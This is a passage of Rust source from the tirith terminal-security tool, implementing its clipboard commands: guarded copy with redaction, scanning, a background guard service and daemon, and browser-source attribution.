tirith 0.4.1

Terminal security - catches homograph attacks, pipe-to-shell, ANSI injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
//! `tirith clipboard` — read/write/scan/guard the system clipboard (M7 ch3).
//!
//! Actions: `copy <file>` (refuses High-severity content unless `--redact`),
//! `scan` (run the paste pipeline over the current clipboard), `guard
//! install-service|uninstall-service|status` (manage the OS service unit), and
//! `daemon --foreground` (the polling loop; the service's `ExecStart`, hidden from help).
//!
//! We ship only the launchd/systemd path (not a shell-profile `&`), which would orphan
//! processes and duplicate daemons with no clean-shutdown handle.
//!
//! Headless (Linux without `$DISPLAY`/`$WAYLAND_DISPLAY`, Windows session 0) yields
//! `ClipboardError::NoBackend`, rendered as a soft envelope and exit 0 so CI doesn't fail.

use std::fs;
use std::io::Write;
use std::path::{Path, PathBuf};
use std::time::Duration;

use tirith_core::clipboard::{read_clipboard_text, write_clipboard_text, ClipboardError};
use tirith_core::engine::{self, AnalysisContext};
use tirith_core::extract::ScanContext;
use tirith_core::output;
use tirith_core::redact::{redact_for_audience_with_custom, ShareAudience};
use tirith_core::tokenize::ShellType;
use tirith_core::verdict::{RuleId, Severity};

/// Max file size for `tirith clipboard copy` — matches `tirith paste`'s 1 MiB cap.
const MAX_COPY_BYTES: u64 = 1024 * 1024;

/// Daemon poll interval (short enough to catch copy→paste, idle CPU near zero).
const POLL_INTERVAL: Duration = Duration::from_secs(2);

/// Audit-debounce window: one entry per distinct content per minute (spec).
const DEBOUNCE_WINDOW: Duration = Duration::from_secs(60);

/// Scan / no-backend envelope. `status` is the machine-readable signal
/// (`"ok"` / `"no_backend"` / `"empty"`).
#[derive(serde::Serialize)]
struct ScanEnvelope<'a> {
    status: &'a str,
    #[serde(skip_serializing_if = "Option::is_none")]
    verdict: Option<&'a tirith_core::verdict::Verdict>,
    #[serde(skip_serializing_if = "Option::is_none")]
    error: Option<&'a str>,
}

/// `guard status` JSON envelope.
#[derive(serde::Serialize)]
struct GuardStatusEnvelope<'a> {
    platform: &'a str,
    unit_path: Option<String>,
    installed: bool,
    loaded: bool,
}

/// `guard install-service` JSON envelope (printed with --apply).
#[derive(serde::Serialize)]
struct GuardInstallEnvelope<'a> {
    platform: &'a str,
    unit_path: Option<String>,
    written: bool,
    loaded: bool,
}

/// Read `path`, run a paste-context analyze; refuse on a High-severity finding unless
/// `redact` is set (then apply the audience-aware redactor and copy the sanitized content).
/// Exit code: 0 copied, 1 refused / I/O failure / no clipboard backend.
pub fn copy(path: &Path, redact: bool, audience: Option<&str>, json: bool) -> i32 {
    let input = match read_file_capped(path) {
        Ok(s) => s,
        Err(code) => return code,
    };

    // A local file being copied is NOT a recorded web paste, so forbid the sidecar read
    // (`AbsentOrInvalid`) — else a hash-match against `clipboard_source.json` could
    // spuriously fire `PasteSourceMismatch`.
    let (verdict, custom_patterns) = analyze_as_paste_with_patterns(
        &input,
        tirith_core::clipboard::ClipboardSourceState::AbsentOrInvalid,
    );
    let has_high = has_blocking_findings(&verdict);

    if has_high && !redact {
        let secret_shaped = verdict.findings.iter().any(|finding| {
            matches!(
                finding.rule_id,
                RuleId::CredentialInText
                    | RuleId::HighEntropySecret
                    | RuleId::PrivateKeyExposed
                    | RuleId::SensitiveEnvExport
            )
        });
        let refusal = if secret_shaped {
            "secret-shaped content detected; clipboard write refused; use --redact to attempt a sanitized copy (unrelated blockers remain refused)"
        } else {
            "blocking content detected; clipboard write refused"
        };
        if json {
            let display = clipboard_display_verdict(&verdict, &custom_patterns);
            let env = ScanEnvelope {
                status: "refused",
                verdict: Some(&display),
                error: Some(refusal),
            };
            write_json_or_complain(&env);
        } else {
            eprintln!("tirith clipboard copy: {refusal}");
        }
        return 1;
    }

    let to_copy: String;
    let mut redact_summary: Option<String> = None;
    if redact {
        let aud = match audience {
            Some(a) => match ShareAudience::parse_cli(a) {
                Some(a) => a,
                None => {
                    eprintln!(
                        "tirith clipboard copy: invalid audience '{a}' (expected one of: {})",
                        ShareAudience::cli_values().join(", ")
                    );
                    return 2;
                }
            },
            // --redact without --audience defaults to `generic` (the M7 ch2 safe default).
            None => ShareAudience::Generic,
        };
        match prepare_redacted_copy(&input, aud, &custom_patterns) {
            Ok((content, summary)) => {
                redact_summary = Some(summary);
                to_copy = content;
            }
            Err(refusal) => {
                if json {
                    // Reuse the exact policy snapshot returned with the
                    // post-redaction analysis. Never rediscover policy merely
                    // to render the refusal.
                    let display = clipboard_display_verdict(
                        refusal.verdict.as_ref(),
                        &refusal.custom_patterns,
                    );
                    let env = ScanEnvelope {
                        status: "refused",
                        verdict: Some(&display),
                        error: Some("blocking content remains after redaction"),
                    };
                    write_json_or_complain(&env);
                } else {
                    eprintln!(
                        "tirith clipboard copy: blocking content remains after redaction; clipboard write refused"
                    );
                }
                return 1;
            }
        }
    } else {
        to_copy = input;
    }

    match write_clipboard_text(&to_copy) {
        Ok(()) => {
            if json {
                let env = serde_json::json!({
                    "status": "copied",
                    "bytes": to_copy.len(),
                    "redacted": redact,
                    "redactions_summary": redact_summary,
                });
                let mut stdout = std::io::stdout().lock();
                if serde_json::to_writer_pretty(&mut stdout, &env).is_err()
                    || writeln!(stdout).is_err()
                {
                    eprintln!("tirith clipboard copy: failed to write JSON output");
                    return 1;
                }
            } else {
                eprintln!(
                    "tirith clipboard copy: copied {} bytes to clipboard",
                    to_copy.len()
                );
                if let Some(s) = redact_summary {
                    eprintln!("tirith clipboard copy: redactions: {s}");
                }
            }
            0
        }
        Err(ClipboardError::NoBackend) => {
            emit_no_backend(json, "copy");
            1
        }
        Err(e) => {
            eprintln!("tirith clipboard copy: {e}");
            1
        }
    }
}

fn has_blocking_findings(verdict: &tirith_core::verdict::Verdict) -> bool {
    verdict
        .findings
        .iter()
        .any(|finding| finding.severity >= Severity::High)
}

/// Apply the clipboard redactor and then re-run the exact paste analysis over
/// the bytes that would be written. Redaction is an override only when it
/// actually removes every blocking finding; it can never waive an unrelated
/// command, prompt-injection, or executable-content verdict.
fn prepare_redacted_copy(
    input: &str,
    audience: ShareAudience,
    custom_patterns: &[String],
) -> Result<(String, String), RedactedCopyRefusal> {
    let report = redact_for_audience_with_custom(input, audience, custom_patterns);
    let (post_redaction_verdict, post_redaction_patterns) = analyze_as_paste_with_patterns(
        &report.redacted_content,
        tirith_core::clipboard::ClipboardSourceState::AbsentOrInvalid,
    );
    if has_blocking_findings(&post_redaction_verdict) {
        return Err(RedactedCopyRefusal {
            verdict: Box::new(post_redaction_verdict),
            custom_patterns: post_redaction_patterns,
        });
    }

    let summary = if report.redactions.is_empty() {
        "no redactions applied".to_string()
    } else {
        report
            .redactions
            .iter()
            .map(|row| format!("{} {}", row.count, row.label))
            .collect::<Vec<_>>()
            .join(", ")
    };
    Ok((report.redacted_content, summary))
}

struct RedactedCopyRefusal {
    verdict: Box<tirith_core::verdict::Verdict>,
    custom_patterns: Vec<String>,
}

/// Read the current clipboard, run the paste pipeline, print the verdict. Exit codes
/// match `tirith paste` (0 Allow, 1 Block, 2 Warn); the `--json` `status` field
/// distinguishes the no-backend / empty paths from a real verdict.
pub fn scan(json: bool) -> i32 {
    match read_clipboard_text() {
        Ok(Some(text)) if !text.is_empty() => {
            // Actual clipboard content: the sidecar legitimately describes it, so `Unread`
            // lets the engine consult `clipboard_source.json` for attribution.
            let (verdict, custom_patterns) = analyze_as_paste_with_patterns(
                &text,
                tirith_core::clipboard::ClipboardSourceState::Unread,
            );
            let display = clipboard_display_verdict(&verdict, &custom_patterns);
            if json {
                let env = ScanEnvelope {
                    status: "ok",
                    verdict: Some(&display),
                    error: None,
                };
                write_json_or_complain(&env);
            } else if output::write_human_auto_with_patterns(&verdict, false, &custom_patterns)
                .is_err()
            {
                eprintln!("tirith clipboard scan: failed to write output");
            }
            verdict.action.exit_code()
        }
        Ok(_) => {
            // Empty or non-text payload — soft-pass, exit 0.
            if json {
                let env = ScanEnvelope {
                    status: "empty",
                    verdict: None,
                    error: None,
                };
                write_json_or_complain(&env);
            } else {
                eprintln!(
                    "tirith clipboard scan: clipboard is empty (or carries non-text content)"
                );
            }
            0
        }
        Err(ClipboardError::NoBackend) => {
            emit_no_backend(json, "scan");
            // Exit 0: a missing backend is a soft-degrade, not a failure (CI / SSH).
            0
        }
        Err(e) => {
            if json {
                let msg = e.to_string();
                let env = ScanEnvelope {
                    status: "error",
                    verdict: None,
                    error: Some(&msg),
                };
                write_json_or_complain(&env);
            } else {
                eprintln!("tirith clipboard scan: {e}");
            }
            1
        }
    }
}

/// Print (and on `apply=true` write) the OS-correct service unit.
/// macOS → LaunchAgent plist + `launchctl load`; Linux → systemd-user unit +
/// `systemctl --user enable --now`; Windows → unsupported (print guidance).
pub fn install_service(apply: bool, json: bool) -> i32 {
    let platform = service_platform();
    let unit_path = service_unit_path();
    let unit_content = match render_service_unit() {
        Some(s) => s,
        None => {
            // Windows: foreground only.
            if json {
                let env = GuardInstallEnvelope {
                    platform,
                    unit_path: None,
                    written: false,
                    loaded: false,
                };
                write_json_or_complain(&env);
            } else {
                eprintln!(
                    "tirith clipboard guard install-service: service-mode clipboard guard is not supported on Windows.\n  Run `tirith clipboard daemon --foreground` in a long-running terminal instead.",
                );
            }
            return 1;
        }
    };

    if !apply {
        // Dry-run: print the unit content (JSON mode wraps it in the envelope).
        if json {
            let env = serde_json::json!({
                "platform": platform,
                "unit_path": unit_path.as_ref().map(|p| p.display().to_string()),
                "written": false,
                "unit_content": unit_content,
            });
            let mut stdout = std::io::stdout().lock();
            if serde_json::to_writer_pretty(&mut stdout, &env).is_err() || writeln!(stdout).is_err()
            {
                eprintln!("tirith clipboard guard: failed to write JSON output");
                return 1;
            }
        } else {
            if let Some(p) = unit_path.as_ref() {
                eprintln!(
                    "tirith clipboard guard install-service: dry-run; would write to {}",
                    p.display()
                );
                eprintln!("tirith clipboard guard install-service: rerun with --apply to install.");
            }
            print!("{unit_content}");
        }
        return 0;
    }

    // --apply: write the unit, then load it.
    let path = match unit_path.as_ref() {
        Some(p) => p,
        None => {
            // Defensive: render returned Some but path resolved None — treat as unsupported.
            eprintln!(
                "tirith clipboard guard install-service: no unit path resolved for this platform"
            );
            return 1;
        }
    };

    // Idempotency: write only when on-disk content differs (or fails to read), then load.
    let needs_write = !matches!(fs::read_to_string(path), Ok(existing) if existing == unit_content);

    if needs_write {
        if let Some(parent) = path.parent() {
            if let Err(e) = fs::create_dir_all(parent) {
                eprintln!(
                    "tirith clipboard guard install-service: failed to create {}: {e}",
                    parent.display()
                );
                return 1;
            }
        }
        // macOS: ensure ~/Library/Logs exists so launchd doesn't EACCES on the plist's
        // StandardOutPath / StandardErrorPath. (No-op on Linux — systemd uses journald.)
        #[cfg(target_os = "macos")]
        {
            if let Ok(home) = std::env::var("HOME") {
                let log_dir = PathBuf::from(home).join("Library/Logs");
                let _ = fs::create_dir_all(&log_dir);
            }
        }
        if let Err(e) = fs::write(path, &unit_content) {
            eprintln!(
                "tirith clipboard guard install-service: failed to write {}: {e}",
                path.display()
            );
            return 1;
        }
    }

    let loaded = load_service();

    if json {
        let env = GuardInstallEnvelope {
            platform,
            unit_path: Some(path.display().to_string()),
            written: needs_write,
            loaded,
        };
        write_json_or_complain(&env);
    } else {
        if needs_write {
            eprintln!(
                "tirith clipboard guard install-service: wrote {}",
                path.display()
            );
        } else {
            eprintln!(
                "tirith clipboard guard install-service: {} already up to date",
                path.display()
            );
        }
        if loaded {
            eprintln!("tirith clipboard guard install-service: service loaded");
        } else {
            eprintln!(
                "tirith clipboard guard install-service: warning — could not confirm service load (see platform docs)"
            );
        }
    }
    0
}

/// Remove the service unit and unload it.
pub fn uninstall_service(json: bool) -> i32 {
    let platform = service_platform();
    let unit_path = match service_unit_path() {
        Some(p) => p,
        None => {
            eprintln!("tirith clipboard guard uninstall-service: not supported on this platform");
            return 1;
        }
    };

    let _ = unload_service();
    let removed = if unit_path.exists() {
        fs::remove_file(&unit_path).is_ok()
    } else {
        false
    };

    if json {
        let env = serde_json::json!({
            "platform": platform,
            "unit_path": unit_path.display().to_string(),
            "removed": removed,
        });
        write_json_or_complain(&env);
    } else if removed {
        eprintln!(
            "tirith clipboard guard uninstall-service: removed {}",
            unit_path.display()
        );
    } else {
        eprintln!(
            "tirith clipboard guard uninstall-service: nothing to remove (unit not present at {})",
            unit_path.display()
        );
    }
    0
}

/// Report whether the service unit is installed and loaded.
pub fn status(json: bool) -> i32 {
    let platform = service_platform();
    let unit_path = service_unit_path();
    let installed = unit_path.as_ref().map(|p| p.exists()).unwrap_or(false);
    let loaded = is_service_loaded();

    if json {
        let env = GuardStatusEnvelope {
            platform,
            unit_path: unit_path.as_ref().map(|p| p.display().to_string()),
            installed,
            loaded,
        };
        write_json_or_complain(&env);
    } else {
        match unit_path.as_ref() {
            Some(p) => eprintln!(
                "tirith clipboard guard status: platform={platform}, unit={}, installed={installed}, loaded={loaded}",
                p.display()
            ),
            None => eprintln!(
                "tirith clipboard guard status: platform={platform} (service-mode not supported); use `tirith clipboard daemon --foreground`"
            ),
        }
    }
    0
}

/// The polling loop. Reads the clipboard every `POLL_INTERVAL`; on secret-shaped content,
/// warns on stderr and writes an audit entry, debounced by content SHA-256 within a 60s
/// window. Never returns (the service manager owns lifecycle; Ctrl-C ends `--foreground`).
/// In JSON mode each event is one line of JSON for a log forwarder.
pub fn daemon_foreground(json: bool) -> i32 {
    use std::collections::HashMap;
    use std::time::Instant;

    // content_sha256_hex → last seen, for debounce.
    let mut seen: HashMap<String, Instant> = HashMap::new();

    // Sev-5 silent-failure fix: rate-limit persistent read errors (one stderr line per
    // minute per distinct message) so a stuck-error daemon surfaces instead of failing quietly.
    let mut last_logged_error: HashMap<String, Instant> = HashMap::new();
    const ERROR_LOG_RATE: std::time::Duration = std::time::Duration::from_secs(60);

    // First read: announce liveness on stderr/JSON.
    if json {
        let env = serde_json::json!({
            "event": "daemon_start",
            "poll_interval_ms": POLL_INTERVAL.as_millis() as u64,
            "debounce_window_ms": DEBOUNCE_WINDOW.as_millis() as u64,
        });
        let _ = println_json(&env);
    } else {
        eprintln!(
            "tirith clipboard daemon: polling every {}s; debounce {}s",
            POLL_INTERVAL.as_secs(),
            DEBOUNCE_WINDOW.as_secs()
        );
    }

    loop {
        std::thread::sleep(POLL_INTERVAL);

        let text = match read_clipboard_text() {
            Ok(Some(t)) if !t.is_empty() => t,
            Ok(_) => continue,
            Err(ClipboardError::NoBackend) => {
                // Headless: sleep longer to avoid burning CPU on a doomed retry.
                std::thread::sleep(POLL_INTERVAL * 30);
                continue;
            }
            Err(e) => {
                // Rate-limited so a persistent failure surfaces without spamming the journal.
                let key = e.to_string();
                let now_inst = Instant::now();
                let should_log = last_logged_error
                    .get(&key)
                    .map(|prev| now_inst.duration_since(*prev) >= ERROR_LOG_RATE)
                    .unwrap_or(true);
                if should_log {
                    last_logged_error.insert(key.clone(), now_inst);
                    if json {
                        let env = serde_json::json!({
                            "event": "clipboard_read_error",
                            "error": key,
                        });
                        let _ = println_json(&env);
                    } else {
                        eprintln!("tirith clipboard daemon: read error: {key}");
                    }
                }
                last_logged_error.retain(|_, t| now_inst.duration_since(*t) < ERROR_LOG_RATE * 5);
                continue;
            }
        };

        let hash = sha256_hex(text.as_bytes());

        // Debounce: drop if we've seen this content within the window.
        let now = Instant::now();
        if let Some(last) = seen.get(&hash) {
            if now.duration_since(*last) < DEBOUNCE_WINDOW {
                continue;
            }
        }
        // GC entries older than 5× the window so the map stays bounded.
        seen.retain(|_, t| now.duration_since(*t) < DEBOUNCE_WINDOW * 5);
        seen.insert(hash.clone(), now);

        // Actual clipboard content (like `scan`): `Unread` lets the engine consult
        // `clipboard_source.json` for attribution.
        let (verdict, custom_patterns) = analyze_as_paste_with_patterns(
            &text,
            tirith_core::clipboard::ClipboardSourceState::Unread,
        );
        let has_high = verdict
            .findings
            .iter()
            .any(|f| f.severity >= Severity::High);

        if !has_high {
            continue;
        }

        // Audit + stderr warn. Silent-failure fix: a swallowed audit-write failure left
        // `tirith last-trigger <event_id>` empty, so match the result and warn on failure.
        let event_id = uuid::Uuid::new_v4().to_string();
        // Audit with the exact custom-DLP plan returned by the same analysis;
        // rediscovery here would split decision and persistence across policy
        // snapshots.
        if let Err(e) = tirith_core::audit::log_verdict(
            &verdict,
            &text,
            None,
            Some(event_id.clone()),
            &custom_patterns,
        ) {
            eprintln!("tirith clipboard daemon: audit log write failed (event_id={event_id}): {e}");
        }

        if json {
            let env = serde_json::json!({
                "event": "secret_in_clipboard",
                "event_id": event_id,
                "rule_ids": verdict
                    .findings
                    .iter()
                    .map(|f| f.rule_id.to_string())
                    .collect::<Vec<_>>(),
                "content_sha256": hash,
            });
            let _ = println_json(&env);
        } else {
            eprintln!(
                "tirith clipboard daemon: secret-shaped content detected on clipboard (event_id={event_id}); see `tirith audit stats` / `tirith last-trigger`"
            );
        }
    }
}

/// Poll the clipboard and report the attributed source URL each time the companion
/// browser extension records a NEW source whose content hash matches the clipboard.
///
/// The extension writes `state_dir()/clipboard_source.json` when it sets the clipboard;
/// we watch its mtime and, when it advances AND `sha256(clipboard) == record.content_sha256`,
/// print the source. No-op without the extension. Never returns (Ctrl-C ends); `--json`
/// emits one line per attribution.
pub fn watch(json: bool) -> i32 {
    use std::time::SystemTime;

    let Some(source_path) = tirith_core::clipboard::source_file_path() else {
        eprintln!("tirith clipboard watch: cannot resolve the tirith state directory");
        return 1;
    };
    // One policy discovery and one compiled custom-DLP plan for the entire
    // watcher lifetime. Start metadata and every later provenance record use
    // this same frozen plan rather than silently changing projection policy
    // between events.
    let provenance_dlp = discover_watch_dlp_with(|| tirith_core::policy::Policy::discover(None));

    if json {
        let env = watch_start_json(&source_path, &provenance_dlp);
        // Broken pipe (no reader): exit cleanly rather than poll forever. Same below.
        if println_json(&env).is_err() {
            return 0;
        }
    } else if write_watch_start_human(std::io::stderr().lock(), &source_path, &provenance_dlp)
        .is_err()
    {
        return 0;
    }

    // Last record mtime acted on, so we report once per extension write, not per poll.
    let mut last_mtime: Option<SystemTime> = None;

    loop {
        std::thread::sleep(POLL_INTERVAL);

        let mtime = match std::fs::metadata(&source_path).and_then(|m| m.modified()) {
            Ok(t) => t,
            Err(_) => continue,
        };
        // Act only when the record is NEWER than the one we last reported.
        if last_mtime == Some(mtime) {
            continue;
        }

        let Some(record) = tirith_core::clipboard::read_source_record_at(&source_path) else {
            // Present but unreadable — advance the marker so we don't re-read it every poll.
            last_mtime = Some(mtime);
            continue;
        };
        let clip = match read_clipboard_text() {
            Ok(Some(t)) if !t.is_empty() => t,
            Ok(_) => {
                last_mtime = Some(mtime);
                continue;
            }
            Err(ClipboardError::NoBackend) => {
                std::thread::sleep(POLL_INTERVAL * 30);
                continue;
            }
            Err(_) => {
                // Transient read failure: do NOT advance `last_mtime`, retry next poll.
                continue;
            }
        };

        // Attribute only when the clipboard content matches the recorded hash.
        let actual = sha256_hex(clip.as_bytes());
        last_mtime = Some(mtime);
        if !actual.eq_ignore_ascii_case(record.content_sha256.trim()) {
            // Record describes a different payload (race / replaced) — no attribution.
            continue;
        }

        if json {
            let env = watch_source_json(&record, &provenance_dlp);
            // Broken pipe → no consumer; exit cleanly (mirrors watch_start).
            if println_json(&env).is_err() {
                return 0;
            }
        } else {
            // Human mode: broken pipe → reader gone, stop. One invocation-level
            // writer owns the full record and its truncation marker.
            if write_watch_source_human(std::io::stdout().lock(), &record, &provenance_dlp).is_err()
            {
                return 0;
            }
        }
    }
}

fn discover_watch_dlp_with(
    discover: impl FnOnce() -> tirith_core::policy::Policy,
) -> tirith_core::redact::CompiledCustomPatterns {
    // `Policy::discover` is authoritative: remote replacement policy and
    // runtime overrides are included. The injectable closure makes the
    // exactly-once/final-pattern contract testable without network access.
    let policy = discover();
    tirith_core::redact::CompiledCustomPatterns::new_silent(&policy.dlp_custom_patterns)
}

fn watch_start_json(
    source_path: &Path,
    compiled: &tirith_core::redact::CompiledCustomPatterns,
) -> serde_json::Value {
    let source_file = crate::cli::sanitize_provenance_text_with_compiled(
        &source_path.display().to_string(),
        compiled,
    );
    tirith_core::verdict::bound_json_value_for_output(serde_json::json!({
        "event": "watch_start",
        "source_file": source_file,
        "poll_interval_ms": POLL_INTERVAL.as_millis() as u64,
    }))
}

fn watch_source_json(
    record: &tirith_core::clipboard::ClipboardSourceRecord,
    compiled: &tirith_core::redact::CompiledCustomPatterns,
) -> serde_json::Value {
    tirith_core::verdict::bound_json_value_for_output(serde_json::json!({
        "event": "clipboard_source",
        "source_url": crate::cli::sanitize_provenance_url_with_compiled(&record.source_url, compiled),
        "source_title": crate::cli::sanitize_provenance_text_with_compiled(&record.source_title, compiled),
        "hidden_text_detected": record.hidden_text_detected,
    }))
}

fn write_watch_start_human(
    writer: impl Write,
    source_path: &Path,
    compiled: &tirith_core::redact::CompiledCustomPatterns,
) -> std::io::Result<()> {
    let mut output = output::HumanInvocationWriter::new(writer, false);
    let source_file = crate::cli::sanitize_provenance_text_with_compiled(
        &source_path.display().to_string(),
        compiled,
    );
    writeln!(
        output,
        "tirith clipboard watch: watching {source_file} (polling every {}s); attributes the clipboard to its browser source",
        POLL_INTERVAL.as_secs()
    )?;
    output.finish()
}

fn write_watch_source_human(
    writer: impl Write,
    record: &tirith_core::clipboard::ClipboardSourceRecord,
    compiled: &tirith_core::redact::CompiledCustomPatterns,
) -> std::io::Result<()> {
    let mut output = output::HumanInvocationWriter::new(writer, false);
    let source_url =
        crate::cli::sanitize_provenance_url_with_compiled(&record.source_url, compiled);
    let source_title =
        crate::cli::sanitize_provenance_text_with_compiled(&record.source_title, compiled);
    write!(
        output,
        "tirith clipboard watch: clipboard source: {source_url}"
    )?;
    if !source_title.is_empty() {
        write!(output, "{source_title}")?;
    }
    if record.hidden_text_detected {
        write!(output, " [hidden text detected]")?;
    }
    writeln!(output)?;
    output.finish()
}

/// Run the engine in paste context over `input` (used by `copy`, `scan`, `daemon`).
///
/// The caller threads `clipboard_source` rather than hardcoding it: it controls whether
/// the engine MAY consult the paste sidecar. Actual-clipboard paths (`scan`, `daemon`) pass
/// `Unread` (the sidecar describes the clipboard); `copy` analyzes a LOCAL FILE and passes
/// `AbsentOrInvalid` to forbid the read, else a hash-match would spuriously fire
/// `PasteSourceMismatch`.
#[cfg(test)]
fn analyze_as_paste(
    input: &str,
    clipboard_source: tirith_core::clipboard::ClipboardSourceState,
) -> tirith_core::verdict::Verdict {
    analyze_as_paste_with_patterns(input, clipboard_source).0
}

fn analyze_as_paste_with_patterns(
    input: &str,
    clipboard_source: tirith_core::clipboard::ClipboardSourceState,
) -> (tirith_core::verdict::Verdict, Vec<String>) {
    let raw_bytes = input.as_bytes().to_vec();
    let ctx = AnalysisContext {
        input: input.to_string(),
        shell: ShellType::Posix,
